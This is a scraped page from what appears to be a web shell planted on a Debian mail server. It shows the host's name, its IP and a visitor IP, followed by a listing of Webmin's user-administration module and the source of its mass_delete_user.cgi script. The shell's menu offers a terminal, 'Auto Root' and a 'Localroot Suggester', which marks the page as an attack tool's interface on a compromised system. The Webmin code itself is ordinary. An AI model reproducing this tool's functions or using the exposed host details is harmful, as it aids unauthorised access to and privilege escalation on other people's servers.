Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
useradmin /
Delete
Unzip
Name
Size
Permission
Date
Action
help
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
CHANGELOG
5.66
KB
-rw-r--r--
2026-07-17 21:17
acl_security.pl
8.69
KB
-rwxr-xr-x
2026-07-17 21:17
aix-lib.pl
1.24
KB
-rwxr-xr-x
2026-07-17 21:17
backup_config.pl
749
B
-rwxr-xr-x
2026-07-17 21:17
batch_exec.cgi
17.2
KB
-rwxr-xr-x
2026-07-17 21:22
batch_form.cgi
2.42
KB
-rwxr-xr-x
2026-07-17 21:22
cgi_args.pl
477
B
-rwxr-xr-x
2026-07-17 21:17
config-aix
719
B
-rw-r--r--
2026-07-17 21:17
config-cobalt-linux
726
B
-rw-r--r--
2026-07-17 21:17
config-coherent-linux
673
B
-rw-r--r--
2026-07-17 21:17
config-corel-linux
681
B
-rw-r--r--
2026-07-17 21:17
config-debian-linux
681
B
-rw-r--r--
2026-07-17 21:17
config-freebsd
700
B
-rw-r--r--
2026-07-17 21:17
config-generic-linux
693
B
-rw-r--r--
2026-07-17 21:17
config-gentoo-linux
653
B
-rw-r--r--
2026-07-17 21:17
config-hpux
595
B
-rw-r--r--
2026-07-17 21:17
config-irix
761
B
-rw-r--r--
2026-07-17 21:17
config-macos
597
B
-rw-r--r--
2026-07-17 21:17
config-mandrake-linux
678
B
-rw-r--r--
2026-07-17 21:17
config-msc-linux
673
B
-rw-r--r--
2026-07-17 21:17
config-netbsd
639
B
-rw-r--r--
2026-07-17 21:17
config-open-linux
703
B
-rw-r--r--
2026-07-17 21:17
config-openSUSE-Linux-15.0-ALL
731
B
-rw-r--r--
2026-07-17 21:17
config-openbsd
652
B
-rw-r--r--
2026-07-17 21:17
config-openmamba-linux
673
B
-rw-r--r--
2026-07-17 21:17
config-openserver
857
B
-rw-r--r--
2026-07-17 21:17
config-osf1
595
B
-rw-r--r--
2026-07-17 21:17
config-pardus-linux
681
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux-15.0-ALL
675
B
-rw-r--r--
2026-07-17 21:17
config-redhat-linux-ALL-14.9
673
B
-rw-r--r--
2026-07-17 21:17
config-slackware-linux
679
B
-rw-r--r--
2026-07-17 21:17
config-sol-linux
673
B
-rw-r--r--
2026-07-17 21:17
config-solaris
647
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux
693
B
-rw-r--r--
2026-07-17 21:17
config-suse-linux-9.0-ALL
731
B
-rw-r--r--
2026-07-17 21:17
config-trustix-linux
673
B
-rw-r--r--
2026-07-17 21:17
config-turbo-linux
693
B
-rw-r--r--
2026-07-17 21:17
config-united-linux
693
B
-rw-r--r--
2026-07-17 21:17
config-unixware
611
B
-rw-r--r--
2026-07-17 21:17
config.info
4.07
KB
-rw-r--r--
2026-07-17 21:17
config.info.bg
7.87
KB
-rw-r--r--
2026-07-17 21:17
config.info.ca
4.82
KB
-rw-r--r--
2026-07-17 21:17
config.info.cs
4.21
KB
-rw-r--r--
2026-07-17 21:17
config.info.da
3.7
KB
-rw-r--r--
2026-07-17 21:17
config.info.de
4.65
KB
-rw-r--r--
2026-07-17 21:17
config.info.es
4.34
KB
-rw-r--r--
2026-07-17 21:17
config.info.fa
6.04
KB
-rw-r--r--
2026-07-17 21:17
config.info.fr
2.77
KB
-rw-r--r--
2026-07-17 21:17
config.info.hu
0
B
-rw-r--r--
2026-07-17 21:17
config.info.ja
4.96
KB
-rw-r--r--
2026-07-17 21:17
config.info.nl
4.61
KB
-rw-r--r--
2026-07-17 21:17
config.info.no
4.12
KB
-rw-r--r--
2026-07-17 21:17
config.info.pl
3.01
KB
-rw-r--r--
2026-07-17 21:17
config.info.pt_BR
4.36
KB
-rw-r--r--
2026-07-17 21:17
config.info.ru
4.61
KB
-rw-r--r--
2026-07-17 21:17
config.info.sv
1.06
KB
-rw-r--r--
2026-07-17 21:17
config.info.tr
3.69
KB
-rw-r--r--
2026-07-17 21:17
config.info.uk
4.58
KB
-rw-r--r--
2026-07-17 21:17
config.info.zh
961
B
-rw-r--r--
2026-07-17 21:17
config.info.zh_TW
909
B
-rw-r--r--
2026-07-17 21:17
cpan_modules.pl
256
B
-rwxr-xr-x
2026-07-17 21:17
defaultacl
369
B
-rw-r--r--
2026-07-17 21:17
delete_group.cgi
2.18
KB
-rwxr-xr-x
2026-07-17 21:22
delete_user.cgi
4.69
KB
-rwxr-xr-x
2026-07-17 21:22
edit_group.cgi
4.97
KB
-rwxr-xr-x
2026-07-17 21:22
edit_user.cgi
19.19
KB
-rwxr-xr-x
2026-07-17 21:22
export_exec.cgi
2.9
KB
-rwxr-xr-x
2026-07-17 21:22
export_form.cgi
1.77
KB
-rwxr-xr-x
2026-07-17 21:22
freebsd-lib.pl
2.02
KB
-rwxr-xr-x
2026-07-17 21:17
gbatch_exec.cgi
8.03
KB
-rwxr-xr-x
2026-07-17 21:22
gbatch_form.cgi
1.59
KB
-rwxr-xr-x
2026-07-17 21:22
gexport_exec.cgi
1.73
KB
-rwxr-xr-x
2026-07-17 21:22
gexport_form.cgi
1.26
KB
-rwxr-xr-x
2026-07-17 21:22
help.html
6.79
KB
-rw-r--r--
2026-07-17 21:17
hpux-lib.pl
1.1
KB
-rwxr-xr-x
2026-07-17 21:17
index.cgi
7.46
KB
-rwxr-xr-x
2026-07-17 21:22
irix-lib.pl
1.17
KB
-rwxr-xr-x
2026-07-17 21:17
linux-lib.pl
5.19
KB
-rwxr-xr-x
2026-07-17 21:17
list_logins.cgi
1.82
KB
-rwxr-xr-x
2026-07-17 21:22
list_who.cgi
945
B
-rwxr-xr-x
2026-07-17 21:22
log_parser.pl
1.68
KB
-rwxr-xr-x
2026-07-17 21:17
macos-lib.pl
3.29
KB
-rwxr-xr-x
2026-07-17 21:17
mass_delete_group.cgi
2.44
KB
-rwxr-xr-x
2026-07-17 21:22
mass_delete_user.cgi
7.74
KB
-rwxr-xr-x
2026-07-17 21:22
md5-lib.pl
7.73
KB
-rwxr-xr-x
2026-07-17 21:17
module.info
557
B
-rw-r--r--
2026-07-17 21:17
module.info.ar
173
B
-rw-r--r--
2026-07-17 21:17
module.info.ar.auto
34
B
-rw-r--r--
2026-07-17 21:17
module.info.bg
0
B
-rw-r--r--
2026-07-17 21:17
module.info.bg.auto
228
B
-rw-r--r--
2026-07-17 21:17
module.info.ca
117
B
-rw-r--r--
2026-07-17 21:17
module.info.ca.auto
27
B
-rw-r--r--
2026-07-17 21:17
module.info.cs
30
B
-rw-r--r--
2026-07-17 21:17
module.info.cs.auto
134
B
-rw-r--r--
2026-07-17 21:17
module.info.da
27
B
-rw-r--r--
2026-07-17 21:17
module.info.da.auto
116
B
-rw-r--r--
2026-07-17 21:17
module.info.de
133
B
-rw-r--r--
2026-07-17 21:17
module.info.de.auto
25
B
-rw-r--r--
2026-07-17 21:17
module.info.el
0
B
-rw-r--r--
2026-07-17 21:17
module.info.el.auto
258
B
-rw-r--r--
2026-07-17 21:17
module.info.es
26
B
-rw-r--r--
2026-07-17 21:17
module.info.es.auto
136
B
-rw-r--r--
2026-07-17 21:17
module.info.eu
0
B
-rw-r--r--
2026-07-17 21:17
module.info.eu.auto
175
B
-rw-r--r--
2026-07-17 21:17
module.info.fa
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fa.auto
220
B
-rw-r--r--
2026-07-17 21:17
module.info.fi
0
B
-rw-r--r--
2026-07-17 21:17
module.info.fi.auto
156
B
-rw-r--r--
2026-07-17 21:17
module.info.fr
32
B
-rw-r--r--
2026-07-17 21:17
module.info.fr.auto
154
B
-rw-r--r--
2026-07-17 21:17
module.info.hr
0
B
-rw-r--r--
2026-07-17 21:17
module.info.hr.auto
147
B
-rw-r--r--
2026-07-17 21:17
module.info.hu
37
B
-rw-r--r--
2026-07-17 21:17
module.info.hu.auto
156
B
-rw-r--r--
2026-07-17 21:17
module.info.it
0
B
-rw-r--r--
2026-07-17 21:17
module.info.it.auto
129
B
-rw-r--r--
2026-07-17 21:17
module.info.ja
39
B
-rw-r--r--
2026-07-17 21:17
module.info.ja.auto
175
B
-rw-r--r--
2026-07-17 21:17
module.info.ko
29
B
-rw-r--r--
2026-07-17 21:17
module.info.ko.auto
142
B
-rw-r--r--
2026-07-17 21:17
module.info.ms
124
B
-rw-r--r--
2026-07-17 21:17
module.info.ms.auto
26
B
-rw-r--r--
2026-07-17 21:17
module.info.nl
30
B
-rw-r--r--
2026-07-17 21:17
module.info.nl.auto
123
B
-rw-r--r--
2026-07-17 21:17
module.info.no
27
B
-rw-r--r--
2026-07-17 21:17
module.info.no.auto
116
B
-rw-r--r--
2026-07-17 21:17
module.info.pl
122
B
-rw-r--r--
2026-07-17 21:17
module.info.pl.auto
31
B
-rw-r--r--
2026-07-17 21:17
module.info.pt
30
B
-rw-r--r--
2026-07-17 21:17
module.info.pt.auto
124
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR
30
B
-rw-r--r--
2026-07-17 21:17
module.info.pt_BR.auto
130
B
-rw-r--r--
2026-07-17 21:17
module.info.ru
49
B
-rw-r--r--
2026-07-17 21:17
module.info.ru.auto
208
B
-rw-r--r--
2026-07-17 21:17
module.info.sk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.sk.auto
177
B
-rw-r--r--
2026-07-17 21:17
module.info.sv
31
B
-rw-r--r--
2026-07-17 21:17
module.info.sv.auto
128
B
-rw-r--r--
2026-07-17 21:17
module.info.tr
31
B
-rw-r--r--
2026-07-17 21:17
module.info.tr.auto
147
B
-rw-r--r--
2026-07-17 21:17
module.info.uk
0
B
-rw-r--r--
2026-07-17 21:17
module.info.uk.auto
247
B
-rw-r--r--
2026-07-17 21:17
module.info.zh
24
B
-rw-r--r--
2026-07-17 21:17
module.info.zh.auto
103
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW
30
B
-rw-r--r--
2026-07-17 21:17
module.info.zh_TW.auto
109
B
-rw-r--r--
2026-07-17 21:17
my_group_chooser.cgi
6.9
KB
-rwxr-xr-x
2026-07-17 21:22
my_user_chooser.cgi
6.56
KB
-rwxr-xr-x
2026-07-17 21:22
netbsd-lib.pl
2.02
KB
-rwxr-xr-x
2026-07-17 21:17
openbsd-lib.pl
2.02
KB
-rwxr-xr-x
2026-07-17 21:17
openserver-lib.pl
1.26
KB
-rwxr-xr-x
2026-07-17 21:17
osf1-lib.pl
1.09
KB
-rwxr-xr-x
2026-07-17 21:17
prefs.info
134
B
-rw-r--r--
2026-07-17 21:17
rbac-mapping
190
B
-rw-r--r--
2026-07-17 21:17
save_group.cgi
4.81
KB
-rwxr-xr-x
2026-07-17 21:22
save_user.cgi
20.83
KB
-rwxr-xr-x
2026-07-17 21:22
search_group.cgi
991
B
-rwxr-xr-x
2026-07-17 21:22
search_user.cgi
1.33
KB
-rwxr-xr-x
2026-07-17 21:22
solaris-lib.pl
1.86
KB
-rwxr-xr-x
2026-07-17 21:17
unixware-lib.pl
1.21
KB
-rwxr-xr-x
2026-07-17 21:17
user-lib.pl
84.21
KB
-rwxr-xr-x
2026-07-17 21:17
Save
Rename
#!/usr/bin/perl # mass_delete_user.cgi # Delete multiple users, after asking for confirmation require './user-lib.pl'; &ReadParse(); %ulist = map { $_->{'user'}, $_ } &list_users(); &error_setup($text{'umass_err'}); foreach $name (split(/\0/, $in{'d'})) { $user = $ulist{$name}; if ($user) { &can_edit_user(\%access, $user) || &error(&text('umass_euser', $name)); push(@dlist, $user); $delete_sys = $user if ($user->{'uid'} < 10 && (!$delete_sys || $user->{'uid'} < $delete_sys->{'uid'})); } } @dlist || &error($text{'umass_enone'}); if ($in{'disable'}) { # Disabling a bunch of users &ui_print_unbuffered_header(undef, $text{'dmass_title'}, ""); if ($in{'confirmed'}) { foreach $user (@dlist) { # Show username print "<b>",&text('dmass_doing', &html_escape($user->{'user'})),"</b><br>\n"; print "<ul>\n"; # Run the before command local @secs; foreach $g (&list_groups()) { @mems = split(/,/, $g->{'members'}); if (&indexof($user->{'user'}, @mems) >= 0) { push(@secs, $g->{'gid'}); } } &set_user_envs($user, 'MODIFY_USER', undef, \@secs); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Do it &lock_user_files(); print "$text{'dmass_pass'}<br>\n"; if ($user->{'pass'} !~ /^$disable_string/) { $user->{'pass'} = $disable_string.$user->{'pass'}; &modify_user($user, $user); print "$text{'udel_done'}<p>\n"; } else { print "$text{'dmass_already'}<p>\n"; } &unlock_user_files(); &made_changes(); print "</ul>\n"; } &webmin_log("disable", "users", scalar(@dlist), { 'user' => [ map { $_->{'user'} } @dlist ] }); &ui_print_footer("", $text{'index_return'}); } else { # Ask if the user is sure he wants to disable print &ui_confirmation_form("mass_delete_user.cgi", &text('dmass_sure', scalar(@dlist)), [ [ "confirmed", 1 ], [ "disable", 1 ], map { [ "d", $_->{'user'} ] } @dlist ], [ [ undef, $text{'dmass_dis'} ] ], ); &ui_print_footer("", $text{'index_return'}); } } elsif ($in{'enable'}) { # Enabling a bunch of users &ui_print_unbuffered_header(undef, $text{'emass_title'}, ""); foreach $user (@dlist) { # Show username print "<b>",&text('emass_doing', &html_escape($user->{'user'})),"</b><br>\n"; print "<ul>\n"; # Run the before command local @secs; foreach $g (&list_groups()) { @mems = split(/,/, $g->{'members'}); if (&indexof($user->{'user'}, @mems) >= 0) { push(@secs, $g->{'gid'}); } } &set_user_envs($user, 'MODIFY_USER', undef, \@secs); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Do it &lock_user_files(); print "$text{'emass_pass'}<br>\n"; if ($user->{'pass'} =~ s/^$disable_string//) { &modify_user($user, $user); print "$text{'udel_done'}<p>\n"; } else { print "$text{'emass_already'}<p>\n"; } &unlock_user_files(); &made_changes(); print "</ul>\n"; } &webmin_log("enable", "users", scalar(@dlist), { 'user' => [ map { $_->{'user'} } @dlist ] }); &ui_print_footer("", $text{'index_return'}); } else { # Deleting a bunch of users $access{'udelete'} || &error($text{'udel_euser'}); &ui_print_unbuffered_header(undef, $text{'umass_title'}, ""); # Check for deletion of system user if (!$config{'delete_root'} && $delete_sys) { print "<p> <b>",&text('umass_eroot', $delete_root->{'user'}),"</b> <p>\n"; &ui_print_footer("", $text{'index_return'}); exit; } if ($in{'confirmed'}) { foreach $user (@dlist) { # Show username print "<b>",&text('umass_doing', &html_escape($user->{'user'})),"</b><br>\n"; print "<ul>\n"; # Run the before command local @secs; foreach $g (&list_groups()) { @mems = split(/,/, $g->{'members'}); if (&indexof($user->{'user'}, @mems) >= 0) { push(@secs, $g->{'gid'}); } } &set_user_envs($user, 'DELETE_USER', undef, \@secs); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Go ahead and do it! $others = $in{'others'}; $others = !$access{'dothers'} if ($access{'dothers'} != 1); if ($others) { print "$text{'udel_other'}<br>\n"; local $error_must_die = 1; eval { &other_modules("useradmin_delete_user",$user); }; if ($@) { print &text('udel_failed', $@),"<p>\n"; } else { print "$text{'udel_done'}<p>\n"; } } # Delete the user from /etc/passwd &lock_user_files(); print "$text{'udel_pass'}<br>\n"; &delete_user($user); print "$text{'udel_done'}<p>\n"; # Delete the user as a secondary member from groups $mygroup = undef; print "$text{'udel_groups'}<br>\n"; foreach $g (&list_groups()) { @mems = split(/,/, $g->{'members'}); $idx = &indexof($user->{'user'}, @mems); if ($idx >= 0) { splice(@mems, $idx, 1); %newg = %$g; $newg{'members'} = join(',', @mems); &modify_group($g, \%newg); } $mygroup = $g if ($g->{'group'} eq $user->{'user'}); } print "$text{'udel_done'}<p>\n"; # Delete the user's personal group, if nobody else is # a member if ($mygroup && !$mygroup->{'members'}) { local $another; foreach $ou (&list_users()) { $another = $ou if ($ou->{'gid'} == $mygroup->{'gid'}); } if (!$another && $others) { # Delete in other modules print "$text{'udel_ugroupother'}<br>\n"; local $error_must_die = 1; eval { &other_modules( "useradmin_delete_group", $mygroup); }; if ($@) { print &text('udel_failed', $@), "<p>\n"; } else { print "$text{'gdel_done'}<p>\n"; } } if (!$another) { # Delete from /etc/group print "$text{'udel_ugroup'}<br>\n"; &delete_group($mygroup); print "$text{'udel_done'}<p>\n"; } } &unlock_user_files(); if ($in{'delhome'} && $user->{'home'} !~ /^\/+$/ && $access{'delhome'}) { print "$text{'udel_home'}<br>\n"; &lock_file($user->{'home'}); &delete_home_directory($user); &unlock_file($user->{'home'}); print "$text{'udel_done'}<p>\n"; } &made_changes(); print "</ul>\n"; } &webmin_log("delete", "users", scalar(@dlist), { 'user' => [ map { $_->{'user'} } @dlist ] }); &ui_print_footer("", $text{'index_return'}); } else { # Ask if the user is sure @hids = ( [ "confirmed", 1 ] ); foreach $user (@dlist) { push(@hids, [ "d", $user->{'user'} ]); } # Sum up home directories foreach $user (@dlist) { if ($user->{'home'} ne "/" && -d $user->{'home'}) { $size += &disk_usage_kb($user->{'home'}); @uothers = &backquote_command( "find ".quotemeta($user->{'home'}). " ! -user ".quotemeta($user->{'uid'}). " 2>/dev/null", 1); push(@others, @uothers); } } if ($access{'delhome'} == 1) { # Force home directory deletion push(@hids, [ "delhome", 1 ]); @buts = ( [ undef, $text{'umass_del2'} ] ); } elsif ($access{'delhome'} == 0) { # Never allow home directory deletion @buts = ( [ undef, $text{'umass_del1'} ] ); } else { # Give user a choice @buts = ( [ undef, $text{'umass_del1'} ], [ "delhome", $text{'umass_del2'} ] ); } # Show the warning print &ui_confirmation_form( "mass_delete_user.cgi", $size ? &text('umass_sure', scalar(@dlist), &nice_size($size*1024)) : &text('umass_sure2', scalar(@dlist)), \@hids, \@buts, $access{'dothers'} == 1 ? &ui_checkbox("others", 1, $text{'udel_dothers'}, $config{'default_other'}) : "", (@others ? &text('umass_others', scalar(@others))."<p>" : ""). ($delete_sys && $delete_sys->{'user'} eq 'root' ? $text{'udel_root'} : ""), ); &ui_print_footer("", $text{'index_return'}); } }